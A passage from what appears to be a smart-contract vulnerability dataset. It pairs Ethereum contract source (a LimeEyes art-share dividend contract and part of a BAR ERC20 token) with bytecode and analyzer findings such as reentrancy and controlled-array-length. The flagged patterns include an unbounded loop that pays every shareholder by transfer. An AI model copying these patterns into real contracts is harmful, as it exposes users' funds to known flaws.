b600061299a848285016127ac565b91505092915050565b6000602082840312156129b9576129b86133b2565b5b60006129c7848285016127c1565b91505092915050565b6000602082840312156129e6576129e56133b2565b5b60006129f4848285016127d6565b91505092915050565b600080600060608486031215612a1657612a156133b2565b5b6000612a24868287016127eb565b9350506020612a35868287016127eb565b9250506040612a46868287016127eb565b9150509250925092565b6000612a5c8383612a68565b60208301905092915050565b612a71816131d3565b82525050565b612a80816131d3565b82525050565b6000612a9182613079565b612a9b818561309c565b9350612aa683613069565b8060005b83811015612ad7578151612abe8882612a50565b9750612ac98361308f565b925050600181019050612aaa565b5085935050505092915050565b612aed816131e5565b82525050565b612afc81613228565b82525050565b6000612b0d82613084565b612b1781856130ad565b9350612b2781856020860161323a565b612b30816133b7565b840191505092915050565b6000612b486023836130ad565b9150612b53826133c8565b604082019050919050565b6000612b6b6019836130ad565b9150612b7682613417565b602082019050919050565b6000612b8e602a836130ad565b9150612b9982613440565b604082019050919050565b6000612bb16022836130ad565b9150612bbc8261348f565b604082019050919050565b6000612bd4601b836130ad565b9150612bdf826134de565b602082019050919050565b6000612bf76021836130ad565b9150612c0282613507565b604082019050919050565b6000612c1a6020836130ad565b9150612c2582613556565b602082019050919050565b6000612c3d6029836130ad565b9150612c488261357f565b604082019050919050565b6000612c606025836130ad565b9150612c6b826135ce565b604082019050919050565b6000612c83601a836130ad565b9150612c8e8261361d565b602082019050919050565b6000612ca66024836130ad565b9150612cb182613646565b604082019050919050565b6000612cc96017836130ad565b9150612cd482613695565b602082019050919050565b612ce881613211565b82525050565b612cf78161321b565b82525050565b6000602082019050612d126000830184612a77565b92915050565b6000604082019050612d2d6000830185612a77565b612d3a6020830184612a77565b9392505050565b6000604082019050612d566000830185612a77565b612d636020830184612cdf565b9392505050565b600060c082019050612d7f6000830189612a77565b612d8c6020830188612cdf565b612d996040830187612af3565b612da66060830186612af3565b612db36080830185612a77565b612dc060a0830184612cdf565b979650505050505050565b6000602082019050612de06000830184612ae4565b92915050565b60006020820190508181036000830152612e008184612b02565b905092915050565b60006020820190508181036000830152612e2181612b3b565b9050919050565b60006020820190508181036000830152612e4181612b5e565b9050919050565b60006020820190508181036000830152612e6181612b81565b9050919050565b60006020820190508181036000830152612e8181612ba4565b9050919050565b60006020820190508181036000830152612ea181612bc7565b9050919050565b60006020820190508181036000830152612ec181612bea565b9050919050565b60006020820190508181036000830152612ee181612c0d565b9050919050565b60006020820190508181036000830152612f0181612c30565b9050919050565b60006020820190508181036000830152612f2181612c53565b9050919050565b60006020820190508181036000830152612f4181612c76565b9050919050565b60006020820190508181036000830152612f6181612c99565b9050919050565b60006020820190508181036000830152612f8181612cbc565b9050919050565b6000602082019050612f9d6000830184612cdf565b92915050565b600060a082019050612fb86000830188612cdf565b612fc56020830187612af3565b8181036040830152612fd78186612a86565b9050612fe66060830185612a77565b612ff36080830184612cdf565b9695505050505050565b60006020820190506130126000830184612cee565b92915050565b6000613022613033565b905061302e828261326d565b919050565b6000604051905090565b600067ffffffffffffffff82111561305857613057613374565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130c982613211565b91506130d483613211565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613109576131086132e7565b5b828201905092915050565b600061311f82613211565b915061312a83613211565b92508261313a57613139613316565b5b828204905092915050565b600061315082613211565b915061315b83613211565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613194576131936132e7565b5b828202905092915050565b60006131aa82613211565b91506131b583613211565b9250828210156131c8576131c76132e7565b5b828203905092915050565b60006131de826131f1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323382613211565b9050919050565b60005b8381101561325857808201518184015260208101905061323d565b83811115613267576000848401525b50505050565b613276826133b7565b810181811067ffffffffffffffff8211171561329557613294613374565b5b80604052505050565b60006132a982613211565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132dc576132db6132e7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865205f6d61785478416d6f756e742e00000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4578636565647320746865206d617857616c6c657453697a652e000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6136c7816131d3565b81146136d257600080fd5b50565b6136de816131e5565b81146136e957600080fd5b50565b6136f581613211565b811461370057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b28509bda679ef88e0dfa72c70683ef66cf00bb207e62cb0d80a0e75ed16d60164736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 9,673 |
0x1ff54baa4cfca0826e125e6e1e312a53748c2637 | pragma solidity ^0.4.18;
//
// LimeEyes
// Decentralized art on the Ethereum blockchain!
// (https://limeeyes.com/)
/*
___ ___
.-'' ''-. .-'' ''-.
.' '. .' '.
/ . - ; - . \ / . - ; - . \
( ' `-._|_,'_,.- ) ( ' `-._|_,'_,.- )
',,.--_,4"-;_ ,' ',,.--_,4"-;_ ,'
'-.; \ _.-' '-.; \ _.-'
''''' '''''
*/
// Welcome to LimeEyes!
//
// This smart contract allows users to purchase shares of any artwork that's
// been added to the system and it will pay dividends to all shareholders
// upon the purchasing of new shares! It's special in the way it works because
// the shares can only be bought in certain amounts and the price of those
// shares is dependant on how many other shares there are already. Each
// artwork starts with 1 share available for purchase and upon each sale,
// the number of shares for purchase will increase by one (1 -> 2 -> 3...),
// each artwork also has an owner and they will always get the dividends from
// the number of shares up for purchase, for example;
/*
If the artwork has had shares purchased 4 times, the next purchase will
be for 5 shares of the artwork. Upon the purchasing of these shares, the
owner will receive the dividends equivelent to 5 shares worth of the sale
value. It's also important to note that the artwork owner cannot purchase
shares of their own art, instead they just inherit the shares for purchase
and pass it onto the next buyer at each sale.
*/
// The price of the shares also follows a special formula in order to maintain
// stability over time, it uses the base price of an artwork (set by the dev
// upon the creation of the artwork) and the total number of shares purchased
// of the artwork. From here you simply treat the number of shares as a percentage
// and add that much on top of your base price, for example;
/*
If the artwork has a base price of 0.01 ETH and there have been 250 shares
purchased so far, it would mean that the base price will gain 250% of it's
value which comes to 0.035 ETH (100% + 250% of the base price).
*/
// The special thing about this is because the shares are intrinsicly linked with
// the price, the dividends from your shares will trend to a constant value instead
// of continually decreasing over time. Because our sequence of shares is a triangular
// number (1 + 2 + 3...) the steady state of any purchased shares will equal the number
// of shares owned (as a percentage) * the artworks base price, for example;
/*
If the artwork has a base price of 0.01 ETH and you own 5 shares, in the long run
you should expect to see 5% * 0.01 ETH = 0.0005 ETH each time the artwork has any
shares purchased. In contrast, if you own 250 shares of the artwork, you should
expect to see 250% * 0.01 ETH = 0.025 ETH each time the artwork has shares bought.
It's good to point out that if you were the first buyer and owned 1 share, the next
buyer is going to be purchasing 2 shares which means you have 1 out of the 3 shares
total and hence you will receive 33% of that sale, at the next step there will be
6 shares total and your 1 share is now worth 16% of the sale price, as mentioned
above though, your earnings upon the purchasing of new shares from your original
1 share will trend towards 1% of the base price over a long period of time.
*/
//
// If you're an artist and are interested in listing some of your works on the site
// and in this contract, please visit the website (https://limeeyes.com/) and contact
// the main developer via the links on the site!
//
contract LimeEyes {
//////////////////////////////////////////////////////////////////////
// Variables, Storage and Events
address private _dev;
struct Artwork {
string _title;
address _owner;
bool _visible;
uint256 _basePrice;
uint256 _purchases;
address[] _shareholders;
mapping (address => bool) _hasShares;
mapping (address => uint256) _shares;
}
Artwork[] private _artworks;
event ArtworkCreated(
uint256 artworkId,
string title,
address owner,
uint256 basePrice);
event ArtworkSharesPurchased(
uint256 artworkId,
string title,
address buyer,
uint256 sharesBought);
//////////////////////////////////////////////////////////////////////
// Constructor and Admin Functions
function LimeEyes() public {
_dev = msg.sender;
}
modifier onlyDev() {
require(msg.sender == _dev);
_;
}
// This function will create a new artwork within the contract,
// the title is changeable later by the dev but the owner and
// basePrice cannot be changed once it's been created.
// The owner of the artwork will start off with 1 share and any
// other addresses may now purchase shares for it.
function createArtwork(string title, address owner, uint256 basePrice) public onlyDev {
require(basePrice != 0);
_artworks.push(Artwork({
_title: title,
_owner: owner,
_visible: true,
_basePrice: basePrice,
_purchases: 0,
_shareholders: new address[](0)
}));
uint256 artworkId = _artworks.length - 1;
Artwork storage newArtwork = _artworks[artworkId];
newArtwork._hasShares[owner] = true;
newArtwork._shareholders.push(owner);
newArtwork._shares[owner] = 1;
ArtworkCreated(artworkId, title, owner, basePrice);
}
// Simple renaming function for the artworks, it is good to
// keep in mind that when the website syncs with the blockchain,
// any titles over 32 characters will be clipped.
function renameArtwork(uint256 artworkId, string newTitle) public onlyDev {
require(_exists(artworkId));
Artwork storage artwork = _artworks[artworkId];
artwork._title = newTitle;
}
// This function is only for the website and whether or not
// it displays a certain artwork, any user may still buy shares
// for an invisible artwork although it's not really art unless
// you can view it.
// This is exclusively reserved for copyright cases should any
// artworks be flagged as such.
function toggleArtworkVisibility(uint256 artworkId) public onlyDev {
require(_exists(artworkId));
Artwork storage artwork = _artworks[artworkId];
artwork._visible = !artwork._visible;
}
// The two withdrawal functions below are here so that the dev
// can access the dividends of the contract if it owns any
// artworks. As all ETH is transferred straight away upon the
// purchasing of shares, the only ETH left in the contract will
// be from dividends or the rounding errors (although the error
// will only be a few wei each transaction) due to the nature
// of dividing and working with integers.
function withdrawAmount(uint256 amount, address toAddress) public onlyDev {
require(amount != 0);
require(amount <= this.balance);
toAddress.transfer(amount);
}
// Used to empty the contracts balance to an address.
function withdrawAll(address toAddress) public onlyDev {
toAddress.transfer(this.balance);
}
//////////////////////////////////////////////////////////////////////
// Main Artwork Share Purchasing Function
// This is the main point of interaction in this contract,
// it will allow a user to purchase shares in an artwork
// and hence with their investment, they pay dividends to
// all the current shareholders and then the user themselves
// will become a shareholder and earn dividends on any future
// purchases of shares.
// See the getArtwork() function for more information on pricing
// and how shares work.
function purchaseSharesOfArtwork(uint256 artworkId) public payable {
// This makes sure only people, and not contracts, can buy shares.
require(msg.sender == tx.origin);
require(_exists(artworkId));
Artwork storage artwork = _artworks[artworkId];
// The artwork owner is not allowed to purchase shares of their
// own art, instead they will earn dividends automatically.
require(msg.sender != artwork._owner);
uint256 totalShares;
uint256[3] memory prices;
( , , , prices, totalShares, , ) = getArtwork(artworkId);
uint256 currentPrice = prices[1];
// Make sure the buyer sent enough ETH
require(msg.value >= currentPrice);
// Send back the excess if there's any.
uint256 purchaseExcess = msg.value - currentPrice;
if (purchaseExcess > 0)
msg.sender.transfer(purchaseExcess);
// Now pay all the shareholders accordingly.
// (this will potentially cost a lot of gas)
for (uint256 i = 0; i < artwork._shareholders.length; i++) {
address shareholder = artwork._shareholders[i];
if (shareholder != address(this)) { // transfer ETH if the shareholder isn't this contract
shareholder.transfer((currentPrice * artwork._shares[shareholder]) / totalShares);
}
}
// Add the buyer to the registry.
if (!artwork._hasShares[msg.sender]) {
artwork._hasShares[msg.sender] = true;
artwork._shareholders.push(msg.sender);
}
artwork._purchases++; // track our purchase
artwork._shares[msg.sender] += artwork._purchases; // add the shares to the sender
artwork._shares[artwork._owner] = artwork._purchases + 1; // set the owners next shares
ArtworkSharesPurchased(artworkId, artwork._title, msg.sender, artwork._purchases);
}
//////////////////////////////////////////////////////////////////////
// Getters
function _exists(uint256 artworkId) private view returns (bool) {
return artworkId < _artworks.length;
}
function getArtwork(uint256 artworkId) public view returns (string artworkTitle, address ownerAddress, bool isVisible, uint256[3] artworkPrices, uint256 artworkShares, uint256 artworkPurchases, uint256 artworkShareholders) {
require(_exists(artworkId));
Artwork memory artwork = _artworks[artworkId];
// As at each step we are simply increasing the number of shares given by 1, the resulting
// total from adding up consecutive numbers from 1 is the same as the triangular number
// series (1 + 2 + 3 + ...). the formula for finding the nth triangular number is as follows;
// Tn = (n * (n + 1)) / 2
// For example the 10th triangular number is (10 * 11) / 2 = 55
// In our case however, the owner of the artwork always inherits the shares being bought
// before transferring them to the buyer but the owner cannot buy shares of their own artwork.
// This means that when calculating how many shares, we need to add 1 to the total purchases
// in order to accommodate for the owner. from here we just need to adjust the triangular
// number formula slightly to get;
// Shares After n Purchases = ((n + 1) * (n + 2)) / 2
// Let's say the art is being purchased for a second time which means the purchaser is
// buying 3 shares and therefore the owner will get 3 shares worth of dividends from the
// overall purchase value. As it's the 2nd purchase, there are (3 * 4) / 2 = 6 shares total
// according to our formula which is as expected.
uint256 totalShares = ((artwork._purchases + 1) * (artwork._purchases + 2)) / 2;
// Set up our prices array;
// 0: base price
// 1: current price
// 2: next price
uint256[3] memory prices;
prices[0] = artwork._basePrice;
// The current price is also directly related the total number of shares, it simply treats
// the total number of shares as a percentage and adds that much on top of the base price.
// For example if the base price was 0.01 ETH and there were 250 shares total it would mean
// that the price would gain 250% of it's value = 0.035 ETH (100% + 250%);
// Current Price = (Base Price * (100 + Total Shares)) / 100
prices[1] = (prices[0] * (100 + totalShares)) / 100;
// The next price would just be the same as the current price but we have a few extra shares.
// If there are 0 purchases then you are buying 1 share (purchases + 1) so the next buyer would
// be purchasing 2 shares (purchases + 2) so therefore;
prices[2] = (prices[0] * (100 + totalShares + (artwork._purchases + 2))) / 100;
return (
artwork._title,
artwork._owner,
artwork._visible,
prices,
totalShares,
artwork._purchases,
artwork._shareholders.length
);
}
function getAllShareholdersOfArtwork(uint256 artworkId) public view returns (address[] shareholders, uint256[] shares) {
require(_exists(artworkId));
Artwork storage artwork = _artworks[artworkId];
uint256[] memory shareholderShares = new uint256[](artwork._shareholders.length);
for (uint256 i = 0; i < artwork._shareholders.length; i++) {
address shareholder = artwork._shareholders[i];
shareholderShares[i] = artwork._shares[shareholder];
}
return (
artwork._shareholders,
shareholderShares
);
}
function getAllArtworks() public view returns (bytes32[] titles, address[] owners, bool[] isVisible, uint256[3][] artworkPrices, uint256[] artworkShares, uint256[] artworkPurchases, uint256[] artworkShareholders) {
bytes32[] memory allTitles = new bytes32[](_artworks.length);
address[] memory allOwners = new address[](_artworks.length);
bool[] memory allIsVisible = new bool[](_artworks.length);
uint256[3][] memory allPrices = new uint256[3][](_artworks.length);
uint256[] memory allShares = new uint256[](_artworks.length);
uint256[] memory allPurchases = new uint256[](_artworks.length);
uint256[] memory allShareholders = new uint256[](_artworks.length);
for (uint256 i = 0; i < _artworks.length; i++) {
string memory tmpTitle;
(tmpTitle, allOwners[i], allIsVisible[i], allPrices[i], allShares[i], allPurchases[i], allShareholders[i]) = getArtwork(i);
allTitles[i] = stringToBytes32(tmpTitle);
}
return (
allTitles,
allOwners,
allIsVisible,
allPrices,
allShares,
allPurchases,
allShareholders
);
}
function stringToBytes32(string memory source) internal pure returns (bytes32 result) {
bytes memory tmpEmptyStringTest = bytes(source);
if (tmpEmptyStringTest.length == 0) {
return 0x0;
}
assembly {
result := mload(add(source, 32))
}
}
//////////////////////////////////////////////////////////////////////
} | 0x6060604052600436106100985763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166301f89de0811461009d578063167ddf6e146100aa57806357aaafe2146101905780637315acc8146101a65780639c0cc30c146102555780639e67fa6a14610477578063f5ff8977146104d8578063fa09e6301461052e578063ff4233571461054d575b600080fd5b6100a860043561056f565b005b34156100b557600080fd5b6100c06004356108b7565b604051600160a060020a0387166020820152851515604082015280606080820190879080838360005b838110156101015780820151838201526020016100e9565b50505050905001858152602001848152602001838152602001828103825289818151815260200191508051906020019080838360005b8381101561014f578082015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509850505050505050505060405180910390f35b341561019b57600080fd5b6100a8600435610b14565b34156101b157600080fd5b6101bc600435610ba8565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b838110156102005780820151838201526020016101e8565b50505050905001838103825284818151815260200191508051906020019060200280838360005b8381101561023f578082015183820152602001610227565b5050505090500194505050505060405180910390f35b341561026057600080fd5b610268610cf9565b604051808060200180602001806020018060200180602001806020018060200188810388528f818151815260200191508051906020019060200280838360005b838110156102c05780820151838201526020016102a8565b5050505090500188810387528e818151815260200191508051906020019060200280838360005b838110156102ff5780820151838201526020016102e7565b5050505090500188810386528d818151815260200191508051906020019060200280838360005b8381101561033e578082015183820152602001610326565b5050505090500188810385528c8181518152602001915080516000925b8184101561039d57602080850284010151606080838360005b8381101561038c578082015183820152602001610374565b50505050905001926001019261035b565b9250505088810384528b818151815260200191508051906020019060200280838360005b838110156103d95780820151838201526020016103c1565b5050505090500188810383528a818151815260200191508051906020019060200280838360005b83811015610418578082015183820152602001610400565b50505050905001888103825289818151815260200191508051906020019060200280838360005b8381101561045757808201518382015260200161043f565b505050509050019e50505050505050505050505050505060405180910390f35b341561048257600080fd5b6100a860046024813581810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965050600160a060020a0385351694602001359350610f9092505050565b34156104e357600080fd5b6100a8600480359060446024803590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061126995505050505050565b341561053957600080fd5b6100a8600160a060020a03600435166112d3565b341561055857600080fd5b6100a8600435600160a060020a036024351661132e565b60008061057a6113d4565b60008060008032600160a060020a031633600160a060020a03161415156105a057600080fd5b6105a9886113a1565b15156105b457600080fd5b60018054899081106105c257fe5b6000918252602090912060016007909202019081015490975033600160a060020a03908116911614156105f457600080fd5b6105fd886108b7565b50909a5090985088935060019250610613915050565b60200201519350348490101561062857600080fd5b8334039250600083111561066757600160a060020a03331683156108fc0284604051600060405180830381858888f19350505050151561066757600080fd5b600091505b6004870154821015610706576004870180548390811061068857fe5b600091825260209091200154600160a060020a039081169150301681146106fb57600160a060020a03811660008181526006890160205260409020546108fc90889087028115156106d557fe5b049081150290604051600060405180830381858888f1935050505015156106fb57600080fd5b60019091019061066c565b600160a060020a033316600090815260058801602052604090205460ff16151561079957600160a060020a03331660009081526005880160205260409020805460ff191660019081179091556004880180549091810161076683826113fb565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03161790555b6003870180546001808201835533600160a060020a03818116600090815260068d016020526040808220805490960185019095558554848e01549092168152849020920190915591547ff8b8a16ca7f2f0f1a5d0d0849a8c6e9f39d86ecba25e1b0dfbbfe6a10336ab18928b928b929051848152600160a060020a0383166040820152606081018290526080602082018181528554600260001961010060018416150201909116049183018290529060a08301908690801561089c5780601f106108715761010080835404028352916020019161089c565b820191906000526020600020905b81548152906001019060200180831161087f57829003601f168201915b50509550505050505060405180910390a15050505050505050565b6108bf611424565b6000806108ca6113d4565b60008060006108d7611436565b60006108e16113d4565b6108ea8b6113a1565b15156108f557600080fd5b600180548c90811061090357fe5b906000526020600020906007020160c06040519081016040529081600082018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156109b65780601f1061098b576101008083540402835291602001916109b6565b820191906000526020600020905b81548152906001019060200180831161099957829003601f168201915b505050505081526020016001820160009054906101000a9004600160a060020a0316600160a060020a0316600160a060020a031681526020016001820160149054906101000a900460ff16151515158152602001600282015481526020016003820154815260200160048201805480602002602001604051908101604052809291908181526020018280548015610a7657602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610a58575b505050505081525050925060028360800151600201846080015160010102811515610a9d57fe5b049150826060015181526064828101825102811515610ab857fe5b046020820152606460808401518301606601825102811515610ad657fe5b046040820152825183602001518460400151838587608001518860a00151518696509950995099509950995099509950505050919395979092949650565b6000805433600160a060020a03908116911614610b3057600080fd5b610b39826113a1565b1515610b4457600080fd5b6001805483908110610b5257fe5b60009182526020909120600790910201600101805474ff0000000000000000000000000000000000000000198116740100000000000000000000000000000000000000009182900460ff16159091021790555050565b610bb0611424565b610bb8611424565b6000610bc2611424565b600080610bce876113a1565b1515610bd957600080fd5b6001805488908110610be757fe5b906000526020600020906007020193508360040180549050604051805910610c0c5750595b90808252806020026020018201604052509250600091505b6004840154821015610c8b5760048401805483908110610c4057fe5b6000918252602080832090910154600160a060020a031680835260068701909152604090912054909150838381518110610c7657fe5b60209081029091010152600190910190610c24565b836004018381805480602002602001604051908101604052809291908181526020018280548015610ce557602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610cc7575b505050505091509550955050505050915091565b610d01611424565b610d09611424565b610d11611424565b610d19611424565b610d21611424565b610d29611424565b610d31611424565b610d39611424565b610d41611424565b610d49611424565b610d51611424565b610d59611424565b610d61611424565b610d69611424565b6000610d73611424565b600154604051805910610d835750595b9080825280602002602001820160405250600154909950604051805910610da75750595b9080825280602002602001820160405250600154909850604051805910610dcb5750595b9080825280602002602001820160405250600154909750604051805910610def5750595b908082528060200260200182016040528015610e2557816020015b610e126113d4565b815260200190600190039081610e0a5790505b50600154909650604051805910610e395750595b9080825280602002602001820160405250600154909550604051805910610e5d5750595b9080825280602002602001820160405250600154909450604051805910610e815750595b90808252806020026020018201604052509250600091505b600154821015610f7957610eac826108b7565b8e8981518110610eb857fe5b9060200190602002018e8a81518110610ecd57fe5b9060200190602002018e8b81518110610ee257fe5b9060200190602002018e8c81518110610ef757fe5b9060200190602002018e8d81518110610f0c57fe5b9060200190602002018e8e81518110610f2157fe5b60209081029091010195909552949093529390925292909252911515909152600160a060020a0390911690529050610f58816113a9565b898381518110610f6457fe5b60209081029091010152600190910190610e99565b50969e959d50939b50919950975095509350915050565b60008054819033600160a060020a03908116911614610fae57600080fd5b821515610fba57600080fd5b60018054808201610fcb8382611478565b9160005260206000209060070201600060c06040519081016040528089815260200188600160a060020a031681526020016001151581526020018781526020016000815260200160006040518059106110215750595b9080825280602002602001820160405250905291905081518190805161104b9291602001906114a4565b50602082015160018201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556040820151600182018054911515740100000000000000000000000000000000000000000274ff000000000000000000000000000000000000000019909216919091179055606082015181600201556080820151816003015560a0820151816004019080516110f3929160200190611522565b50506001805460001981019550909250849150811061110e57fe5b60009182526020808320600160a060020a0388168452600560079093020191820190526040909120805460ff191660019081179091556004820180549293509190810161115b83826113fb565b506000918252602080832091909101805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0388169081179091558252600683019052604090819020600190557f6260412ff0bd9bf68b3b83f331ea530d04a28fba5be6f5d3c70371eb5b9da83490839087908790879051848152600160a060020a03831660408201526060810182905260806020820181815290820185818151815260200191508051906020019080838360005b8381101561122557808201518382015260200161120d565b50505050905090810190601f1680156112525780820380516001836020036101000a031916815260200191505b509550505050505060405180910390a15050505050565b6000805433600160a060020a0390811691161461128557600080fd5b61128e836113a1565b151561129957600080fd5b60018054849081106112a757fe5b9060005260206000209060070201905081816000019080516112cd9291602001906114a4565b50505050565b60005433600160a060020a039081169116146112ee57600080fd5b80600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f19350505050151561132b57600080fd5b50565b60005433600160a060020a0390811691161461134957600080fd5b81151561135557600080fd5b600160a060020a0330163182111561136c57600080fd5b600160a060020a03811682156108fc0283604051600060405180830381858888f19350505050151561139d57600080fd5b5050565b600154901090565b60006113b3611424565b5081805115156113c657600091506113ce565b602083015191505b50919050565b60606040519081016040526003815b60008152602001906001900390816113e35790505090565b81548183558181151161141f5760008381526020902061141f918101908301611592565b505050565b60206040519081016040526000815290565b60c06040519081016040528061144a611424565b81526000602082018190526040820181905260608201819052608082015260a001611473611424565b905290565b81548183558181151161141f5760070281600702836000526020600020918201910161141f91906115af565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106114e557805160ff1916838001178555611512565b82800160010185558215611512579182015b828111156115125782518255916020019190600101906114f7565b5061151e929150611592565b5090565b828054828255906000526020600020908101928215611586579160200282015b82811115611586578251825473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039190911617825560209290920191600190910190611542565b5061151e929150611610565b6115ac91905b8082111561151e5760008155600101611598565b90565b6115ac91905b8082111561151e5760006115c98282611641565b60018201805474ffffffffffffffffffffffffffffffffffffffffff1916905560006002830181905560038301819055611607906004840190611685565b506007016115b5565b6115ac91905b8082111561151e57805473ffffffffffffffffffffffffffffffffffffffff19168155600101611616565b50805460018160011615610100020316600290046000825580601f10611667575061132b565b601f01602090049060005260206000209081019061132b9190611592565b508054600082559060005260206000209081019061132b91906115925600a165627a7a72305820fd5b66896d12862c51da945003bbe5b30c3d4adf3e9a28c57f643e5c10befae40029 | {"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}} | 9,674 |
0x2d55d457b5e58019d914eab4a277b376a2a12770 | /**
*Submitted for verification at Etherscan.io on 2021-03-07
*/
// SPDX-License-Identifier: No License
pragma solidity 0.6.12;
// ----------------------------------------------------------------------------
// 'BarBarBabaJi' token contract
//
// Symbol : BAR
// Name : BarBarBabaJi
// Total supply: 55 000 000
// Decimals : 18
// ----------------------------------------------------------------------------
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0) {
return 0;}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
interface ERC20Basic {
function balanceOf(address who) external view returns (uint256 balance);
function transfer(address to, uint256 value) external returns (bool trans1);
function allowance(address owner, address spender) external view returns (uint256 remaining);
function transferFrom(address from, address to, uint256 value) external returns (bool trans);
function approve(address spender, uint256 value) external returns (bool hello);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20Basic, Ownable {
uint256 public totalSupply;
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public override returns (bool trans1) {
require(_to != address(0));
//require(canTransfer(msg.sender));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
*/
function balanceOf(address _owner) public view override returns (uint256 balance) {
return balances[_owner];
}
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public override returns (bool trans) {
require(_to != address(0));
// require(canTransfer(msg.sender));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
